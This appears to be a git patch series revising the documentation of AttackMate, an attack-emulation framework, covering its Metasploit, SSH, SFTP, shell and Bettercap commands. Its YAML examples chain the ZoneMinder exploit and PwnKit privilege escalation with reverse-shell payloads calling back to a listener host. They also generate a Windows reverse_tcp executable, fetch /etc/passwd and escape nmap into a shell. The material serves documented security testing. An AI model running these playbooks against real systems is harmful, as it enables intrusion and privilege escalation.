Dict[str, str] .. confval:: target - This option sets the payload target for the metasploit-module. + Target index for the module. Refer to the Metasploit module documentation + for available targets. :type: int :default: ``0`` .. confval:: creates_session - A session name that identifies the session that is created by - the module. This session-name can be used by :ref:`msf-session` + Name to assign to the session created by this module. The session can + subsequently be referenced in :ref:`msf-session` or other modules via + :confval:`session`. :type: str .. confval:: session - This option is set in exploit['SESSION']. Some modules(post-modules) - need a session to be executed with. - - :type: str - -.. confval:: payload - - Path to a payload for this module. + Name of an existing session to pass to this module. Required by post-exploitation + modules that operate within an active session. :type: str The following example illustrates the use of sessions and payloads: - .. code-block:: yaml - - commands: - - type: msf-module - cmd: exploit/unix/webapp/zoneminder_snapshots - creates_session: "foothold" - options: - RHOSTS: 192.42.0.254 - payload_options: - LHOST: 192.42.2.253 - payload: cmd/unix/python/meterpreter/reverse_tcp - - - type: msf-module - cmd: exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec - session: "foothold" - creates_session: "root" - options: - WRITABLE_DIR: "/tmp" - payload_options: - LHOST: 192.42.2.253 - LPORT: 4455 - payload: linux/x64/shell/reverse_tcp - -.. confval:: options - - Dict(key/values) of module options, like RHOSTS: - - :type: Dict[str,str] - -.. confval:: payload_options +.. code-block:: yaml - Dict(key/values) of payload options, like LHOST and LPORT: + commands: + - type: msf-module + cmd: exploit/unix/webapp/zoneminder_snapshots + creates_session: foothold + options: + RHOSTS: 192.42.0.254 + payload: cmd/unix/python/meterpreter/reverse_tcp + payload_options: + LHOST: 192.42.2.253 - :type: Dict[str,str] + - type: msf-module + cmd: exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec + session: foothold + creates_session: root + options: + WRITABLE_DIR: "/tmp" + payload: linux/x64/shell/reverse_tcp + payload_options: + LHOST: 192.42.2.253 + LPORT: 4455 diff --git a/docs/source/playbook/commands/msf-session.rst b/docs/source/playbook/commands/msf-session.rst index 5dc48af1..028c6545 100644 --- a/docs/source/playbook/commands/msf-session.rst +++ b/docs/source/playbook/commands/msf-session.rst @@ -4,64 +4,77 @@ msf-session =========== -This command allows to read and write commands to (Meterpreter)sessions that -have previously created by msf-modules(see :ref:`msf-module`). +Execute commands in an active Meterpreter session previously opened by an +:ref:`msf-module` command. + +.. note:: + + To configure the connection to ``msfrpcd``, see :ref:`msf_config`. .. code-block:: yaml commands: + # First, exploit a vulnerability and create a session: - type: msf-module cmd: exploit/unix/webapp/zoneminder_snapshots - creates_session: "foothold" + creates_session: foothold options: RHOSTS: 192.42.0.254 + payload: cmd/unix/python/meterpreter/reverse_tcp payload_options: LHOST: 192.42.2.253 - payload: cmd/unix/python/meterpreter/reverse_tcp + # Then, execute a command in the session: - type: msf-session - session: "foothold" + session: foothold stdapi: True cmd: getuid -.. note:: - To configure the connection to the msfrpc-server see :ref:`msf_config` +.. confval:: session + + Name of the session to operate in. Must have been created previously by an + :ref:`msf-module` command using :confval:`creates_session`. + + :type: str + :required: True + + +.. confval:: cmd + + Command to execute in the session. + + :type: str + .. confval:: stdapi - Load stdapi module in the Meterpreter-session. + Load the stdapi extension in the Meterpreter session before executing the command. + Required for many standard Meterpreter commands. :type: bool :default: ``False`` .. confval:: write - Execute a raw write-operation without reading the output. + Execute a raw write-operation to the session without reading the output. .. note:: - If read and write are both true, the programm will first write and then read. + If both ``write`` and ``read`` are ``True``, AttackMate will first write and then read. :type: bool :default: ``False`` .. confval:: read - Execute a raw read-operation without a write-operation. + Execute a raw read-operation from the session without a preceding write-operation. :type: bool :default: ``False`` -.. confval:: session - - Use this session for all operations. - - :type: str - :required: True - .. confval:: end_str - This string indicated the end of a read-operation. + String indicating the end of a read-operation. :type: str From a17db6017e12501e84016769c4f72715e16798ee Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Tue, 10 Mar 2026 16:23:25 +0100 Subject: [PATCH 20/40] wording --- docs/source/playbook/commands/bettercap.rst | 22 ++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/docs/source/playbook/commands/bettercap.rst b/docs/source/playbook/commands/bettercap.rst index e3e1f8a3..5a02e55e 100644 --- a/docs/source/playbook/commands/bettercap.rst +++ b/docs/source/playbook/commands/bettercap.rst @@ -65,7 +65,7 @@ Post a command to the interactive Bettercap session. get_file -------- -Retrieve a file from the Bettercap API server. +Get a file from the Bettercap API server. .. confval:: filename @@ -94,7 +94,7 @@ Clear the events buffer. get_events ---------- -Retrieve all events from the current session. +Get all events from the current session. .. code-block:: yaml @@ -105,7 +105,7 @@ Retrieve all events from the current session. get_session_modules ------------------- -Retrieve all modules active in the current session. +Get all modules active in the current session. .. code-block:: yaml @@ -116,7 +116,7 @@ Retrieve all modules active in the current session. get_session_env --------------- -Retrieve the environment variables of the current session. +Get the environment variables of the current session. .. code-block:: yaml @@ -127,7 +127,7 @@ Retrieve the environment variables of the current session. get_session_gateway ------------------- -Retrieve gateway information for the current session. +Get gateway information for the current session. .. code-block:: yaml @@ -138,7 +138,7 @@ Retrieve gateway information for the current session. get_session_interface --------------------- -Retrieve network interface information for the current session. +Get network interface information for the current session. .. code-block:: yaml @@ -149,7 +149,7 @@ Retrieve network interface information for the current session. get_session_options ------------------- -Retrieve the configured options for the current session. +Get the configured options for the current session. .. code-block:: yaml @@ -160,7 +160,7 @@ Retrieve the configured options for the current session. get_session_packets ------------------- -Retrieve packet statistics for the current session. +Get packet statistics for the current session. .. code-block:: yaml @@ -171,7 +171,7 @@ Retrieve packet statistics for the current session. get_session_started_at ---------------------- -Retrieve the timestamp of when the current session was started. +Get the timestamp of when the current session was started. .. code-block:: yaml @@ -182,7 +182,7 @@ Retrieve the timestamp of when the current session was started. get_session_hid --------------- -Retrieve a JSON list of HID devices discovered in the current session. +Get a JSON list of HID devices discovered in the current session. .. confval:: mac @@ -204,7 +204,7 @@ Retrieve a JSON list of HID devices discovered in the current session. get_session_ble --------------- -Retrieve a JSON list of BLE devices discovered in the current session. +Get a JSON list of BLE devices discovered in the current session. .. code-block:: yaml From 81a046302d16217df03933e8f6b7cbf0c6bb218e Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Tue, 10 Mar 2026 16:35:23 +0100 Subject: [PATCH 21/40] msf payload docs --- docs/source/playbook/commands/payload.rst | 87 ++++++++++++----------- 1 file changed, 46 insertions(+), 41 deletions(-) diff --git a/docs/source/playbook/commands/payload.rst b/docs/source/playbook/commands/payload.rst index 9d2af697..f05dfc96 100644 --- a/docs/source/playbook/commands/payload.rst +++ b/docs/source/playbook/commands/payload.rst @@ -2,96 +2,101 @@ msf-payload =========== -Generate metasploit payloads and save the payload to a file. +Generate a Metasploit payload and save it to a file. .. code-block:: yaml - - type: msf-payload - cmd: windows/meterpreter/reverse_tcp - format: exe - payload_options: - LHOST: 192.168.100.1 - LPORT: 1111 - local_path: /tmp/payload.exe + commands: + - type: msf-payload + cmd: windows/meterpreter/reverse_tcp + format: exe + payload_options: + LHOST: 192.168.100.1 + LPORT: 1111 + local_path: /tmp/payload.exe - - type: shell - cmd: cat $LAST_MSF_PAYLOAD + - type: shell + cmd: cat $LAST_MSF_PAYLOAD .. confval:: cmd - The payload to generate. + The payload to generate (e.g. ``windows/meterpreter/reverse_tcp``). :type: str - :required: ``True`` + :required: True + +.. confval:: payload_options + + Key-value pairs of payload options such as ``LHOST`` and ``LPORT``. + + :type: Dict[str, str] .. confval:: format - Generate the payload in this format. See metasploit documentation to find out the supported formats + Output format for the generated payload. Run ``msfvenom --list formats`` + for supported values or see the Metasploit documentation. :type: str :default: ``raw`` -.. confval:: payload_options +.. confval:: local_path - Typical payload_options are LHOST or LPORT for reverse shells. Dict(key/values) of payload options. + Path where the generated payload will be saved. If not set, the payload + is saved to a temporary path accessible via ``$LAST_MSF_PAYLOAD``. - :type: Dict[str,str] + :type: str -.. confval:: local_path +.. confval:: platform - Copy the payload to this local path. - If not set, the payload will be saved in a temporary path. + Target platform for the payload. Run ``msfvenom --list platforms`` + for supported values. + + :type: str + +.. confval:: encoder + + Encoder to apply to the payload. Run ``msfvenom --list encoders`` + for supported values. :type: str .. confval:: badchars - Characters to avoid example: '\x00\xff' + Characters to avoid in the generated payload (e.g. ``'\x00\xff'``). :type: str .. confval:: force_encode - Force encoding + Force encoding even if no encoder is explicitly specified. :type: bool :default: ``False`` -.. confval:: encoder +.. confval:: nopsled_size - The encoder to use. ``msfvenom --list encoders`` to list + Number of NOP bytes (nopsled) to prepend to the payload. - :type: str + :type: int + :default: ``0`` .. confval:: template - Specify a custom executable file to use as a template - - :type: str(path) - -.. confval:: platform - - The platform for the payload. ``msfvenom --list platforms`` to list + Path to a custom executable to use as a template for the payload. :type: str .. confval:: keep_template_working - Preserve the template behaviour and inject the payload as a new thread + Inject the payload as a new thread so the template executable continues + to function normally. :type: bool :default: ``False`` -.. confval:: nopsled_size - - Prepend a nopsled of [length] size on to the payload - - :type: int - :default: ``0`` - -.. confval:: iter + .. confval:: iter - The number of times to encode the payload + Number of times to apply the encoder. :type: int :default: ``0`` From b0a3cd6ab466608a5892becc91cdac759725d101 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Tue, 10 Mar 2026 16:43:46 +0100 Subject: [PATCH 22/40] regex docs --- docs/source/playbook/commands/regex.rst | 52 +++++++++++++++++-------- 1 file changed, 35 insertions(+), 17 deletions(-) diff --git a/docs/source/playbook/commands/regex.rst b/docs/source/playbook/commands/regex.rst index 35e9512f..f7cf0d7c 100644 --- a/docs/source/playbook/commands/regex.rst +++ b/docs/source/playbook/commands/regex.rst @@ -2,11 +2,15 @@ regex ===== -This command parses variables using regular expressions. For more information -about regular expressions see `Python Regex `_ -This command does not modify the Builtin Variable ``RESULT_STDOUT``. +Parse and transform variables using regular expressions. For more information +about regular expressions and regex syntax see `Python Regex `_ -The following example parses the portnumber from the output of the last command and stores it in variable "UNREALPORT": +.. note:: + + This command does not modify ``RESULT_STDOUT``. + + +The following example extracts a port number from the output of a shell command and stores it in the variable "UNREALPORT": .. code-block:: yaml @@ -23,7 +27,8 @@ The following example parses the portnumber from the output of the last command cmd: "Port: $UNREALPORT" -By using the mode "split", strings that are seperated by whitespaces can be tokenized: +Using ``mode: split``, a string can be tokenized by a delimiter, in this case, +whitespace: .. code-block:: yaml @@ -41,9 +46,21 @@ By using the mode "split", strings that are seperated by whitespaces can be toke - type: debug cmd: "Port: $UNREALPORT" +.. confval:: cmd + + The regular expression pattern to apply. + + :type: str + :required: True + .. confval:: mode - Specifies the python regex-function. One of: ``search``, ``split``, ``sub`` or ``findall``. + The Python regex function to use. One of: + + * ``findall`` - find all non-overlapping matches + * ``search`` - find the first match anywhere in the string + * ``split`` - split the string by occurrences of the pattern + * ``sub`` - replace occurrences of the pattern with :confval:`replace` :type: str :default: ``findall`` @@ -76,27 +93,28 @@ By using the mode "split", strings that are seperated by whitespaces can be toke .. confval:: input - Parse the value of this variable. + Name of the variable whose value will be used as the regex input + (without the leading ``$``). :type: str :default: ``RESULT_STDOUT`` .. confval:: output - Defines where to store the results of the regular expression. This - must be a list of key-value pairs("variable-name": "$MATCH"). The matches - of the regular expressions are stored in temporary variables $MATCH. If the - match is stored in a list or in a list of tuples the variablename will be - numbered by the index. For example: "$MATCH_0_0" for the first element in the - first occurance. The first match (even if there is only one) is indexed MATCH_0. - If the regex-command does not match, no output variable will be set! - Note that if sub() or split() do not have a match the input string is returned. - Additionally, ``REGEX_MATCHES_LIST`` is set every time a regex command yields matches and it contains a list of all matches. + Mapping of variable names to match references (e.g. ``MYVAR: $MATCH_0``). + Matches are indexed as ``$MATCH_0``, ``$MATCH_1``, etc. For nested results + (lists of tuples), matches are indexed as ``$MATCH_0_0``, ``$MATCH_0_1``, etc. + + If the pattern does not match, no output variables are set. If ``sub`` or + ``split`` find no match, the original input string is returned. + + The builtin variable ``REGEX_MATCHES_LIST`` is also populated with a list of + all matches whenever the command produces results. .. note:: - A dump containing all matches will be printed if attackmate runs in debug-mode. + Running AttackMate in debug mode prints a full dump of all matches. :type: dict[str,str] :required: True From f2382d3f68df668f55adb7df2c3131aad5d2a26d Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Wed, 11 Mar 2026 09:45:55 +0100 Subject: [PATCH 23/40] remote and setvar docs --- docs/source/playbook/commands/remote.rst | 42 ++++++++++++------------ docs/source/playbook/commands/setvar.rst | 37 +++++++++++++-------- 2 files changed, 45 insertions(+), 34 deletions(-) diff --git a/docs/source/playbook/commands/remote.rst b/docs/source/playbook/commands/remote.rst index 5a8dc4da..427386e5 100644 --- a/docs/source/playbook/commands/remote.rst +++ b/docs/source/playbook/commands/remote.rst @@ -2,9 +2,15 @@ remote ====== -This command executes playbooks or commands on a remote AttackMate instance. -The connection to the remote instance is defined in the ``remote_config`` section of the configuration file. -If no connection is specified, the first entry in the ``remote_config`` section will be used as default. +Execute playbooks or commands on a remote AttackMate instance. +Remote conenctions are defined in the ``remote_config`` section of the configuration file. +If no connection is specified, the first entry in the ``remote_config`` section is used as default. + +.. warning:: + + Options such as ``background`` and ``only_if`` defined on the ``remote`` command apply + to the **local** execution context, not to the command or playbook running on the remote + instance. Configuration ============= @@ -58,44 +64,38 @@ Options .. confval:: cmd - The remote operation to perform. Must be one of the following: + The operation to perform on the remote instance. One of: - ``execute_command`` — Execute a single AttackMate command on the remote instance. - Requires ``remote_command`` to be set. + Requires ``remote_command`` - ``execute_playbook`` — Execute a full playbook YAML file on the remote instance. - Requires ``playbook_path`` to be set. + Requires ``playbook_path`` :type: str (``execute_command`` | ``execute_playbook``) .. confval:: connection - The name of the remote connection to use, as defined in the ``remote_config`` section - of the configuration file. If omitted, the first entry in ``remote_config`` is used - as the default connection. + Name of the remote connection to use, as defined in the ``remote_config`` section + of the AttackMate configuration file. If omitted, the first entry in ``remote_config`` is used. :type: str :default: first entry in ``remote_config`` .. confval:: playbook_path - Path to a local YAML playbook file that will be read and sent to the remote AttackMate - instance for execution. Required when ``cmd`` is ``execute_playbook``. + Path to a local YAML playbook file to sent to and execute on the remote AttackMate. + Required when ``cmd`` is ``execute_playbook``. :type: str .. confval:: remote_command - An inline AttackMate command definition that will be executed on the remote instance. - This supports any command type that the remote AttackMate instance is configured to handle - (e.g., ``shell``, ``sliver``, etc., EXCEPT another remote_command). Required when ``cmd`` is ``execute_command``. + An inline AttackMate command dto execute on the remote instance. + Supports any command type that the remote AttackMate instance is configured to handle + (e.g., ``shell``, ``sliver``, etc., EXCEPT ``remote`` itself). Required when ``cmd`` is ``execute_command``. :type: RemotelyExecutableCommand -.. warning:: - - Parameters such as ``background`` and ``only_if`` defined at the top-level ``remote`` command - apply to the **local** execution of the remote command, not to the command executed on the - remote instance. Examples ======== @@ -116,8 +116,8 @@ Execute a shell command on a remote instance type: shell cmd: id -Execute a playbook on a remote instance using the default connection --------------------------------------------------------------------- +Execute a playbook on the default remote connection +--------------------------------------------------- .. code-block:: yaml diff --git a/docs/source/playbook/commands/setvar.rst b/docs/source/playbook/commands/setvar.rst index 47f31590..2b16306f 100644 --- a/docs/source/playbook/commands/setvar.rst +++ b/docs/source/playbook/commands/setvar.rst @@ -2,13 +2,15 @@ setvar ====== -Set a variable. This could be used for string interpolation or for -copying variables. -This command does not modify the Builtin Variable ``RESULT_STDOUT``. +Set a variable to a string value. Useful for string interpolation and copying or +transforming existing variables. + +.. note:: + + This command does not modify ``RESULT_STDOUT``. .. code-block:: yaml - ### vars: FOO: "WORLD" @@ -19,24 +21,35 @@ This command does not modify the Builtin Variable ``RESULT_STDOUT``. .. confval:: variable - The variable-name that stores the value of *cmd* + Name of the variable to set (without the leading ``$``). :type: str - :required: ``True`` + :required: True .. confval:: cmd - The value of the variable + The value to assign to the variable. Supports variable substitution. :type: str - :required: ``True`` + :required: True .. confval:: encoder - If encoder is set, the command in cmd will be encoded before stored in ``variable``. - Please note that if encoding fails, this command will fallback to plain cmd and will - print out a warning. + Encode or decode the value of ``cmd`` before storing it in ``variable``.. + Note that if encoding fails, the plain value is stored and a warning is printed. + + Supported values: + + * ``base64-encoder`` — encode to Base64 + * ``base64-decoder`` — decode from Base64 + * ``rot13`` — apply ROT13 + * ``urlencoder`` — percent-encode for use in URLs + * ``urldecoder`` — decode percent-encoded strings + + :type: str['base64-encoder', 'base64-decoder', 'rot13', 'urlencoder', 'urldecoder'] + + Example: .. code-block:: yaml @@ -96,5 +109,3 @@ This command does not modify the Builtin Variable ``RESULT_STDOUT``. - type: debug cmd: $TEST - - :type: str['base64-encoder', 'base64-decoder', 'rot13', 'urlencoder', 'urldecoder'] From d47f5e0a6985f54b6687e0992fd95bf873a6fe61 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Wed, 11 Mar 2026 10:05:49 +0100 Subject: [PATCH 24/40] ssh and sftp docs --- docs/source/playbook/commands/sftp.rst | 100 +++++++++--------- docs/source/playbook/commands/ssh.rst | 134 ++++++++++++------------- 2 files changed, 115 insertions(+), 119 deletions(-) diff --git a/docs/source/playbook/commands/sftp.rst b/docs/source/playbook/commands/sftp.rst index 1f114ebd..e4d2d0d8 100644 --- a/docs/source/playbook/commands/sftp.rst +++ b/docs/source/playbook/commands/sftp.rst @@ -2,16 +2,14 @@ sftp ==== -Upload or download files using SSH. This command is -also executed by the SSHExecutor and therefor all -ssh-related settings can be used. SSH-sessions can also -be used with the sftp-command! +Upload or download files over SSH. This command shares the same connection settings and +session cache as the :ref:`ssh ` command — all SSH options apply, and sessions +created by either command can be reused by the other. .. note:: - This command caches all the settings so + This command caches all settings so that they only need to be defined once. - .. code-block:: yaml vars: @@ -19,6 +17,7 @@ be used with the sftp-command! $SSH_SERVER: 10.10.10.19 commands: + # Upload a file and create a named session: - type: sftp cmd: put local_path: /tmp/linpeas.sh @@ -26,51 +25,58 @@ be used with the sftp-command! hostname: $SSH_SERVER username: aecid key_filename: "/home/alice/.ssh/id_rsa" - creates_session: "attacker" + creates_session: attacker - # cached ssh-settings. creates new ssh-connection + # Download a file using cached connection settings, creates new connection: - type: sftp cmd: get remote_path: /etc/passwd local_path: /tmp/remote_passwd - # reuses existing session "attacker" + # Reuse the "attacker" session from the first command in an ssh command: - type: ssh - session: "attacker" - cmd: "id" + session: attacker + cmd: id + +File Transfer +------------- .. confval:: cmd - SFTP-command to use. Valid commands are *put* or *get*. + The SFTP operation to perform. + + * ``put`` — upload a file from the local machine to the remote host + * ``get`` — download a file from the remote host to the local machine :type: str - :required: ``True`` + :required: True -.. confval:: remote_path +.. confval:: local_path - The filepath on the remote machine. + Path to the file on the local machine. :type: str - :required: ``True`` + :required: True -.. confval:: local_path +.. confval:: remote_path - The filepath on the local machine. + Path to the file on the remote machine. :type: str - :required: ``True`` + :required: True .. confval:: mode - The file permissions on the remote file(e.g. *755*). + File permissions to set on the remote file after upload (e.g. ``755``). :type: str +Connection +---------- .. confval:: hostname - This option sets the hostname or ip-address of the - remote ssh-server. + Hostname or IP address of the remote SSH server. :type: str @@ -83,82 +89,80 @@ be used with the sftp-command! .. confval:: username - Specifies the user to log in as on the remote machine. + Username to authenticate as on the remote host. :type: str .. confval:: password - Specifies the password to use. An alternative would be to use a key_file. + Password for authentication. An alternative is to use :confval:`key_filename`. :type: str -.. confval:: passphrase +.. confval:: key_filename - Use this passphrase to decrypt the key_file. This is only necessary if the - keyfile is protected by a passphrase. + Path to a private key file for authentication. :type: str -.. confval:: key_filename +.. confval:: passphrase - Path to the keyfile. + Passphrase to decrypt :confval:`key_filename`, if the key is passphrase-protected. :type: str .. confval:: timeout - The timeout to drop a connection attempt in seconds. + Timeout in seconds for connection attempts. :type: float .. confval:: clear_cache - Normally all settings for ssh-connections are cached. This allows to defined - all settings in one command and all following commands can reuse these settings - without set them in every single command. If a new connection with different - settings should be configured, this setting allows to reset the cache to default - values. + Clear all cached connection settings before this command runs, allowing a fresh + connection to be configured. (Normally all settings for ssh-connections are cached. This allows to define + all settings in one command and reuse them in the following commands without having to redefine them) + :type: bool :default: ``False`` - .. note:: - - This setting will not clear the session store. +Sessions +-------- .. confval:: creates_session - A session name that identifies the session that is created when - executing this command. This session-name can be used by using the - option "session" + Name to assign to the session opened by this command. Can be reused in subsequent + ``sftp`` or ``ssh`` commands via :confval:`session`. :type: str .. confval:: session - Reuse an existing ssh-session. This setting works only if another - ssh-command was executed with the command-option "creates_session" + Name of an existing session to reuse. The session must have been created previously + via :confval:`creates_session` in an ``sftp`` or ``ssh`` command. :type: str +Jump Host +--------- + .. confval:: jmp_hostname - This option sets the hostname or ip-address of the - remote jump server. + Hostname or IP address of an SSH jump host to tunnel through. :type: str .. confval:: jmp_port - Port to connect to on the jump-host. + Port to connect to on the jump host. :type: int :default: ``22`` .. confval:: jmp_username - Specifies the user to log in as on the jmp-host. + Username to authenticate as on the jump host. :type: str - :default: ``same as username`` + :default: same as :confval:`username` diff --git a/docs/source/playbook/commands/ssh.rst b/docs/source/playbook/commands/ssh.rst index ccba53ec..f108c68e 100644 --- a/docs/source/playbook/commands/ssh.rst +++ b/docs/source/playbook/commands/ssh.rst @@ -2,11 +2,10 @@ ssh === -Execute commands on a remote server via SSH. - +Execute commands on a remote host via SSH. .. note:: - This command caches all the settings so + This command caches all settings so that they only need to be defined once. .. code-block:: yaml @@ -16,27 +15,29 @@ Execute commands on a remote server via SSH. $SSH_SERVER: 10.10.10.19 commands: - # creates new ssh-connection and session + # Establish a new connection and create a named session: - type: ssh cmd: nmap $SERVER_ADDRESS hostname: $SSH_SERVER username: aecid key_filename: "/home/alice/.ssh/id_rsa" - creates_session: "attacker" + creates_session: attacker - # cached ssh-settings. creates new ssh-connection + # Reuses cached settings, opens a new connection: - type: ssh - cmd: "echo $SERVER_ADDRESS" + cmd: echo $SERVER_ADDRESS - # reuses existing session "attacker" + # Reuses the existing "attacker" session: - type: ssh - session: "attacker" - cmd: "id" + session: attacker + cmd: id + +Connection +---------- .. confval:: hostname - This option sets the hostname or ip-address of the - remote ssh-server. + Hostname or IP address of the remote SSH server. :type: str @@ -49,99 +50,98 @@ Execute commands on a remote server via SSH. .. confval:: username - Specifies the user to log in as on the remote machine. + Username to authenticate as on the remote host. :type: str .. confval:: password - Specifies the password to use. An alternative would be to use a key_file. + Password for authentication. An alternative is to use :confval:`key_filename`. :type: str -.. confval:: passphrase +.. confval:: key_filename - Use this passphrase to decrypt the key_file. This is only necessary if the - keyfile is protected by a passphrase. + Path to a private key file for authentication. :type: str -.. confval:: key_filename +.. confval:: passphrase - Path to the keyfile. + Passphrase to decrypt :confval:`key_filename`, if the key is passphrase-protected. :type: str - .. confval:: timeout - The timeout to drop a connection attempt in seconds. + Timeout in seconds for connection attempts. :type: float .. confval:: clear_cache - Normally all settings for ssh-connections are cached. This allows to defined - all settings in one command and all following commands can reuse these settings - without set them in every single command. If a new connection with different - settings should be configured, this setting allows to reset the cache to default - values. + Clear all cached connection settings before this command runs, allowing a fresh + connection to be configured. (Normally all settings for ssh-connections are cached. This allows to define + all settings in one command and reuse them in the following commands without having to redefine them) :type: bool :default: ``False`` - .. note:: - - This setting will not clear the session store. +Sessions +-------- .. confval:: creates_session - A session name that identifies the session that is created when - executing this command. This session-name can be used by using the - option "session" + Name to assign to the session opened by this command. Can be reused in subsequent + commands via :confval:`session`. :type: str .. confval:: session - Reuse an existing ssh-session. This setting works only if another - ssh-command was executed with the command-option "creates_session" + Name of an existing session to reuse. The session must have been created previously + via :confval:`creates_session`. :type: str +Jump Host +--------- + .. confval:: jmp_hostname - This option sets the hostname or ip-address of the - remote jump server. + Hostname or IP address of an SSH jump host to tunnel through. :type: str .. confval:: jmp_port - Port to connect to on the jump-host. + Port to connect to on the jump host. :type: int :default: ``22`` .. confval:: jmp_username - Specifies the user to log in as on the jmp-host. + Username to authenticate as on the jump host. :type: str - :default: ``same as username`` + :default: same as :confval:`username` + +Interactive Mode +---------------- .. confval:: interactive - When the ssh-command is executed, the command will block until the ssh-execution finishes. - However, for some exploits it is necessary to run a command and send keystrokes to an - interactive session. For example run with the first command "vim" and with the second command - send keystrokes to the open vim-session. In interactive-mode the command will try reading the - output until no output is written for a certain amount of seconds. If the output ends with any - string found in ``prompts``, it will stop immediately. + Run the command in interactive mode. Instead of waiting for the command to finish, + AttackMate reads output until no new output appears for :confval:`command_timeout` + seconds, or until the output ends with one of the strings in :confval:`prompts`. + + Useful for commands that require keystroke input (e.g. opening ``vim`` and then + sending keystrokes in a follow-up command). .. warning:: - Please note that you **MUST** send a newline when you execute a ssh-command interactively. + Commands executed in interactive mode **MUST** end with a newline character (``\n``). :type: bool :default: ``False`` @@ -153,45 +153,41 @@ Execute commands on a remote server via SSH. $SSH_SERVER: 10.10.10.19 commands: - # creates new ssh-connection and session + # Open nmap in interactive mode and create a session: - type: ssh cmd: "nmap --interactive\n" interactive: True hostname: $SSH_SERVER username: aecid key_filename: "/home/alice/.ssh/id_rsa" - creates_session: "attacker" + creates_session: attacker - # break out of the nmap-interactive-mode + # Send a command to the open interactive session: - type: ssh cmd: "!sh\n" interactive: True - session: "attacker" + session: attacker .. confval:: command_timeout - The interactive-mode works with timeouts while reading the output. If there is no output for some seconds, - the command will stop reading. + Seconds to wait for new output before stopping in interactive mode. :type: int :default: ``15`` .. confval:: prompts - In interactive-mode the command will try reading the output for a certain amount of seconds. If the output - ends with any string found in ``prompts``, the command will stop immediately. - If ``prompts`` is an empty list, no prompt checking will be performed. + List of strings that signal the end of output in interactive mode. When the output + ends with any of these strings, AttackMate stops reading immediately without waiting + for the timeout. Set to an empty list to disable prompt detection. :type: list[str] :default: ``["$ ", "# ", "> "]`` .. code-block:: yaml - vars: - $SSH_SERVER: 10.10.10.19 - commands: - # creates new ssh-connection and session + # Custom prompt list: - type: ssh cmd: "nmap --interactive\n" interactive: True @@ -203,16 +199,13 @@ Execute commands on a remote server via SSH. hostname: $SSH_SERVER username: aecid key_filename: "/home/alice/.ssh/id_rsa" - creates_session: "attacker" - + creates_session: attacker .. code-block:: yaml vars: $SSH_SERVER: 10.10.10.19 - - commands: - # prompts is an empty list + # Disable prompt detection entirely: - type: ssh cmd: "id\n" interactive: True @@ -220,25 +213,24 @@ Execute commands on a remote server via SSH. hostname: $SSH_SERVER username: aecid password: password - creates_session: "attacker" + creates_session: attacker +Binary Mode +----------- .. confval:: bin - Enable binary mode. In this mode only hex-characters are allowed. + Enable binary mode. In this mode, ``cmd`` must be a hex-encoded string representing + the raw bytes to send. :type: bool :default: ``False`` .. code-block:: yaml - vars: - $SERVER_ADDRESS: 192.42.0.254 - $SSH_SERVER: 10.10.10.19 - commands: + # "6964" is the hex encoding of "id": - type: ssh - # hex-code for "id" cmd: "6964" bin: True hostname: $SSH_SERVER From fc931c7c6d8fd861271f34bfb5654845442e221a Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Wed, 11 Mar 2026 10:13:11 +0100 Subject: [PATCH 25/40] shell docs --- docs/source/playbook/commands/shell.rst | 84 +++++++++++++------------ 1 file changed, 45 insertions(+), 39 deletions(-) diff --git a/docs/source/playbook/commands/shell.rst b/docs/source/playbook/commands/shell.rst index e176411c..404a9edc 100644 --- a/docs/source/playbook/commands/shell.rst +++ b/docs/source/playbook/commands/shell.rst @@ -1,13 +1,11 @@ - ===== shell ===== -Execute local shell-commands. +Execute local shell commands. .. code-block:: yaml - ### vars: $SERVER_ADDRESS: 192.42.0.254 $NMAP: /usr/bin/nmap @@ -18,38 +16,33 @@ Execute local shell-commands. .. confval:: cmd - The command-line that should be executed locally. + The command line to execute locally. Supports variable substitution. :type: str + :required: True -.. confval:: creates_session +.. confval:: command_shell - A session name that identifies the session that is created when - executing this command. This session-name can be used by using the - option "session". + The shell used to execute commands. :type: str + :default: ``/bin/sh`` -.. confval:: session - - Reuse an existing interactive session. This setting works only if another - shell-command was executed with the command-option "creates_session" and "interactive" true - - :type: str +Interactive Mode +---------------- .. confval:: interactive - When the shell-command is executed, the command will block until the execution finishes. - However, for some exploits it is necessary to run a command and send keystrokes to an - interactive session. For example run with the first command "vim" and with the second command - send keystrokes to the open vim-session. In interactive-mode the command will try reading the - output until no output is written for a certain amount of seconds. + Run the command in interactive mode. Instead of waiting for the command to finish, + AttackMate reads output until no new output appears for :confval:`command_timeout` + seconds. Useful for commands that require follow-up keystrokes (e.g. opening ``vim`` + and sending input in a subsequent command). - This mode works only on unix and unix-like operating systems! + This mode works only on Unix and Unix-like systems. .. warning:: - Please note that you **MUST** send a newline when you execute a ssh-command interactively. + Commands executed in interactive mode **MUST** end with a newline character (``\n``). :type: bool :default: ``False`` @@ -57,45 +50,58 @@ Execute local shell-commands. .. code-block:: yaml commands: - # creates new ssh-connection and session + # Open nmap in interactive mode and create a named session: - type: shell cmd: "nmap --interactive\n" interactive: True - creates_session: "attacker" + creates_session: attacker - # break out of the nmap-interactive-mode + # Send a command to the open interactive session: - type: shell cmd: "!sh\n" interactive: True - session: "attacker" + session: attacker + +.. confval:: creates_session + + Name to assign to the interactive session opened by this command. Can be reused + in subsequent commands via :confval:`session`. + + Only meaningful when :confval:`interactive` is ``True``. + + :type: str + +.. confval:: session + + Name of an existing interactive session to reuse. The session must have been + created previously via :confval:`creates_session` with :confval:`interactive` + set to ``True``. + + :type: str .. confval:: command_timeout - The interactive-mode works with timeouts while reading the output. If there is no output for some seconds, - the command will stop reading. + Seconds to wait for new output before stopping in interactive mode. :type: int :default: ``15`` .. confval:: read - Wait for output. This option is useful for interactive commands that do not return any output. - Normally attackmate will wait until the command_timeout was reached. With read is False, attackmate - will not wait for any output and simply return an empty string. + Wait for output after executing the command. Set to ``False`` to return + immediately with an empty result, useful for fire-and-forget interactive + commands that produce no output. :type: bool :default: ``True`` -.. confval:: command_shell - - Use this shell when executing commands. - - :type: str - :default: ``/bin/sh`` +Binary Mode +----------- .. confval:: bin - Enable binary mode. In this mode only hex-characters are allowed. + Enable binary mode. In this mode, 